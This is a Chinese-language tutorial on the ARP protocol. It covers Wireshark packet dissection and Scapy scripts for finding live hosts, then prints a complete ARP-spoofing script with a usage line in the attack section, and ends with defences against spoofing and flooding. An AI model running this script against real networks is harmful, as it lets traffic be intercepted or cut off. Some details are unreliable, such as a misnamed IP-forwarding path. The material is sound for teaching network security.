1协议介绍
ARP(Address Resolution Protocol)地址解析协议,将已知IP地址转换为MAC地址,由RFC826定义
ARP协议在OSI模型中处于数据链路层,在TCP/IP模型中处于网络层
ARP协议与数据链路层关联网络层
在Windows操作系统中可以在cmd中使用“arp -a”查看本地arp缓存表(120秒过期)
2步骤概述
- 当主机A要与主机B通信时,会先检查自身路由表是否能够到达,然后在自己的本地ARP缓存表中检查主机B的MAC地址
- 如果主机A在ARP缓存表中没有找到映射,会广播发送ARP请求。每台主机接收到ARP请求后,会检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,将会丢弃ARP请求
- 主机B确定ARP请求中的IP地址与自己的IP地址相匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中,并将包含其MAC地址的ARP回复消息以单播的方式发送回主机A
- 当主机A收到主机B发送的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。由于ARP缓存是有生存期的,当生存期结束,将再次重复上面的过程。
2数据包分析
使用wireshark抓取ARP数据包
在Info可以看到,ARP的一般请求和回复方式
- 请求方式 Who has 查询IP Tell 自身IP
- 回复方式 查询IP is at 查询MAC
请求包特征
Ethernet II, Src: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 数据链路层
Destination: Broadcast (ff:ff:ff:ff:ff:ff) 广播发送
Source: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
Type: ARP (0x0806) 协议类型
Address Resolution Protocol (request) 网络层 ARP请求数据包
Hardware type: Ethernet (1) 硬件类型
Protocol type: IPv4 (0x0800) 协议类型
Hardware size: 6 硬件长度
Protocol size: 4 协议长度
Opcode: request (1) 操作码 1表示请求数据包
Sender MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
Sender IP address: 192.168.100.104 发送方IP地址
Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) 接收方MAC地址 由于不知道接收方MAC地址,所以为00:00:00:00:00:00
Target IP address: 192.168.100.105 接收方IP地址
响应包特征
Ethernet II, Src: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4), Dst: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 数据链路层
Destination: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 单播发送
Source: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4) 发送方MAC地址
Type: ARP (0x0806) 协议类型
Address Resolution Protocol (reply) 网络层 ARP回复数据包
Hardware type: Ethernet (1) 硬件类型
Protocol type: IPv4 (0x0800) 协议类型
Hardware size: 6 硬件长度
Protocol size: 4 协议长度
Opcode: reply (2) 操作码 2表示回复数据包
Sender MAC address: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4) 发送方MAC地址
Sender IP address: 192.168.100.105 发送方IP地址
Target MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 接收方MAC地址
Target IP address: 192.168.100.104 接收方IP地址
免费ARP特征
在网络中IP地址是可以改变的,而MAC地址是不会改变的。
当IP地址改变时,缓存中的映射就不再有效。
为了防止由于映射错误而导致的通信错误,免费ARP将被发送,强制所有收到它的设备使用新的映射
免费ARP会在一下状态进行发送:
- 系统引导期间
- 接口进行配置
- IP进行变更
数据包特征:
Ethernet II, Src: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 数据链路层
Destination: Broadcast (ff:ff:ff:ff:ff:ff) 广播发送
Source: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
Type: ARP (0x0806) 协议类型
Address Resolution Protocol (request/gratuitous ARP) 免费ARP请求包
Hardware type: Ethernet (1) 硬件类型
Protocol type: IPv4 (0x0800) 协议类型
Hardware size: 6 硬件长度
Protocol size: 4 协议长度
Opcode: request (1) 操作码 1表示请求数据包
[Is gratuitous: True] 免费ARP数据包
Sender MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
Sender IP address: 192.168.100.250 发送方IP地址
Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) 请求方MAC地址
Target IP address: 192.168.100.250 请求方MAC地址
可以看到发送方IP地址和请求方IP地址都为新地址,其他主机收到这种数据包会更新自身的ARP缓存表。
由于是源主机未经请求发出的数据包,而其他主机接收到后更新了ARP缓存表,所以被称为免费ARP
3python实现
这里实现的Python版本为3.6.4
Scapy
Scapy是一个强大的嗅探库,支持Python2和Python3。
Scapy有1.2和2.x两种版本,前者由于依赖unix系统的libpcap、libdnet等库已经弃用了。后者在Linux、BSD、Mac上使用 pip install scapy
就能安装Scapy。Windows系统较麻烦,要安装最新版的Npcap或Winpcap再使用 pip install scapy
安装。
安装完成后载入库不报错就证明安装成功
- v1.2版本使用
from scapy import *
- v2.x版本使用
from scapy.all import *
代码实现
检测单个IP是否存活
from scapy.all import *
def scan(dip):
res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2)
if res:
print(res[1].psrc,res[1].hwsrc)
if __name__ == '__main__':
scan('192.168.100.102')
执行结果
Begin emission:
.Finished sending 1 packets.
.*
Received 3 packets, got 1 answers, remaining 0 packets
192.168.100.102 60:6c:66:1b:b7:aa
[Finished in 4.9s]
这里只是检测单个IP是否存活,使用循环将其改为网段检测。
而且除了扫描到的信息,还输出了scapy的发包信息,可以使用 verbose=False
关闭信息
循环检测网段存活
from scapy.all import *
def scan(dip):
res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2 ,verbose=False)
if res:
print(res[1].psrc,res[1].hwsrc)
if __name__ == '__main__':
for i in range(1,255):
ip = '192.168.100.'+str(i)
scan(ip)
执行结果
192.168.100.1 8c:f2:28:e6:2f:e2
192.168.100.102 60:6c:66:1b:b7:aa
[Finished in 511.2s]
虽然已经可以扫描网段中存活的主机,但是一个C段地址扫描了八分钟是很难以接受的。尝试使用多线程执行
多线程检测网段存活
import threading
from scapy.all import *
def scan(dip):
res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2 ,verbose=False)
if res:
print(res[1].psrc,res[1].hwsrc)
if __name__ == '__main__':
for i in range(1,255):
ip = '192.168.100.'+str(i)
t = threading.Thread(target=scan,args=(ip,))
t.start()
```
**执行结果**
192.168.100.1 8c:f2:28:e6:2f:e2
192.168.100.103 ec:d0:9f:9b:b5:3d
192.168.100.102 60:6c:66:1b:b7:aa
[Finished in 20.6s]
虽然速度相比之前有很大的提升,但是还是有点不尽人意。而且在扫描变长网段需要更改代码。
在代码根本上,是每次都调用scan()函数,传入参数进行扫描。
可以使用srp()代替srp1()进行扫描
srp()和srp1()都是在二层发送和接受数据包,但srp1()只接受第一个回复,srp()可以接受所有回复
##### Scapy检测网段存活 #####
```python
from scapy.all import Ether,ARP,srp
IpScan = '192.168.100.1/24'
ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan), timeout=2, verbose=False)
for send, rcv in ans:
print(rcv.sprintf("%ARP.psrc% %Ether.src%"))
执行结果
192.168.100.1 8c:f2:28:e6:2f:e2
192.168.100.102 60:6c:66:1b:b7:aa
192.168.100.103 ec:d0:9f:9b:b5:3d
[Finished in 8.5s]
srp()和srp1()在使用上有些区别,需要注意
4ARP攻击
ARP断网和ARP欺骗
原理
前面已经描述过ARP通信的步骤,这里再大致赘述一遍,假如主机A要访问主机B的Web服务,根据ARP本地缓存表的情况大致为两类:
第一类:主机A本地ARP缓存表存在主机B记录
- 检查本地ARP缓存表,发现存在主机B记录
- 向主机B发送TCP数据包
第二类:主机A本地ARP缓存表不存在主机B记录
- 检查本地ARP缓存表,不存在主机B记录
- 主机A广播ARP请求包,查询主机B的ARP信息
- 主机B接收到主机A的ARP请求包,并回复ARP信息
- 主机A收到回复,写入本地ARP缓存表,并向主机B发送TCP数据包
我们情景模拟一下
1
2
3
4
5
6
7
8
+--------+---------------+-------------------+
| 主机 | IP地址 | MAC地址 |
+--------+---------------+-------------------+
| 网关 | 192.168.1.1 | AA:AA:AA:AA:AA:AA |
| 主机A | 192.168.1.100 | BB:BB:BB:BB:BB:BB |
| 主机B | 192.168.1.200 | CC:CC:CC:CC:CC:CC |
| 攻击者 | 192.168.1.250 | DD:DD:DD:DD:DD:DD |
+--------+---------------+-------------------+
在主机A发送ARP请求之前,主机A的ARP缓存表为:
1
2
3
接口: 192.168.1.100 --- 0xb
Internet 地址 物理地址 类型
192.168.1.1 AA:AA:AA:AA:AA:AA 动态
当主机A发送并接受到ARP回复之后,主机A的ARP缓存表为:
1
2
3
4
接口: 192.168.1.100 --- 0xb
Internet 地址 物理地址 类型
192.168.1.1 AA:AA:AA:AA:AA:AA 动态
192.168.1.200 CC:CC:CC:CC:CC:CC 动态
此时主机A向主机B发送TCP通讯,数据包前段内容为:
1
2
3
4
Ether.Source = BB:BB:BB:BB:BB:BB
Ether.Destination = CC:CC:CC:CC:CC:CC
IPv4.Source = 192.168.1.100
IPv4.Destination = 192.168.1.200
至此主机A到主机B的正常通信开始
可以发现ARP主机A后续的数据包是发送到由ARP获取到的MAC地址的主机的,但是ARP没有做安全处理,如果我们获取到主机A的ARP请求后,向主机A发送我们的MAC地址,那么主机A后续的数据包就会发到我们这里。
如果此时主机C对主机A持续不断的发送ARP消息包:
1
192.168.1.200 is at DD:DD:DD:DD:DD:DD
当主机A收到了主机C的恶意ARP消息包,本地ARP缓存表为:
1
2
3
4
5
接口: 192.168.1.100 --- 0xb
Internet 地址 物理地址 类型
192.168.1.1 AA:AA:AA:AA:AA:AA 动态
192.168.1.200 CC:CC:CC:CC:CC:CC 动态
192.168.1.200 DD:DD:DD:DD:DD:DD 动态
此时主机A向主机C的通讯就可能出现丢包
而当主机A的ARP本地缓存表120秒到期后,本地ARP缓存表为:
1
2
3
4
接口: 192.168.1.100 --- 0xb
Internet 地址 物理地址 类型
192.168.1.1 AA:AA:AA:AA:AA:AA 动态
192.168.1.200 DD:DD:DD:DD:DD:DD 动态
由于主机C持续不断的向主机A发送ARP消息包,而且主机A能够在本地ARP缓存表找到主机B的信息,所以不会发送ARP请求包,此时主机A向主机B的所有数据包都将发送到主机C
也就是说通过ARP能够做的攻击有两种:
第一种:ARP断网 对主机A发送网关的ARP消息包,将网关的IP映射为不存在的MAC地址,主机A发送的所有数据包都不会有响应,达到断网。
第二种:ARP欺骗 对主机A发送网关的ARP消息包,将网关的IP映射为主机C的MAC地址,同时开启路由功能,保证主机A与外网的通讯正常。主机A还是能够访问外网资源,但是中间多了一个主机C,主机C能够获取到主机A发送的所有数据包。
ARP欺骗将拓扑进行了改变:
1
2
3
4
5
6
7
主机A -> 网关 -> Internet 请求包
主机A <- 网关 <- Internet 回复包
|
ARP欺骗后
↓
主机A -> 主机C -> 网关 -> Internet
主机A <- 主机C <- 网关 <- Internet
攻击实现
需要开启路由转发功能
Linux: echo 1 > /proc/sys/net/ipv4/forward
Python代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys
from scapy.all import *
def get_parameter():
if len(sys.argv)!=3:
print('python setup.py -target_ip -fake_ip ')
sys.exit()
return (sys.argv[1],sys.argv[2])
def get_mac(ip):
res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip),timeout=2,verbose=False,iface='eth0')
if res:
return res[1].hwsrc
def send(target_ip,target_mac,fake_ip,fake_mac):
res = srp1(Ether(dst=target_mac,src=local_mac)/ARP(pdst=target_ip,hwdst=target_mac,psrc=fake_ip,hwsrc=local_mac,op=2),timeout=2,verbose=False,iface='eth0')
if res:
return res.show()
if __name__ == '__main__':
target_ip,fake_ip = get_parameter()
target_mac = get_mac(target_ip)
fake_mac = get_mac(fake_ip)
local_mac = get_if_hwaddr('eth0')
while True:
send(target_ip,target_mac,fake_ip,local_mac)
send(fake_ip,fake_mac,target_ip,local_mac)
使用说明
python setup.py 第一IP 第二IP
ARP泛洪
ARP泛洪相比ARP断网和ARP欺骗,更加偏向于对网关的攻击,这种攻击,通过伪造大量不同的ARP报文在同网段内进行广播,导致网关ARP表被占满,合法用户的ARP信息无法正常学习,导致合法用户无法访问外网。
5防范手段
针对ARP欺骗的防范手段:
- ARP表固化,网关在第一次学习到ARP之后,不允许更新此ARP或只能更新部分信息,或者单播发送ARP请求包对此ARP条目进行合法性确认,防止伪造的免费ARP报文修改其他主机ARP表。
- 免费ARP数据包主动丢弃,直接丢弃免费ARP报文,防止伪造的免费ARP报文修改其他主机ARP表。
- ARP表严格学习,网关只向特定主机学习ARP,不学习其他主机ARP。不允许攻击者修改已有ARP条目。
- 发送免费ARP数据包,与主动丢弃不冲突,只发送网关自身的ARP数据包,定时更新用户的ARP条目。
- 动态ARP监测,将接受到的ARP数据包中的源IP、源MAC、受到ARP报文的接口及VLAN信息和绑定表的信息进行比较,信息匹配则通过,不通过则丢弃,可以有效防范ARP欺骗。
针对ARP泛洪的防范手段:
- ARP报文限速
- ARP Miss消息限速
- 免费ARP数据包主动丢弃
- ARP表严格学习
- ARP表严格限制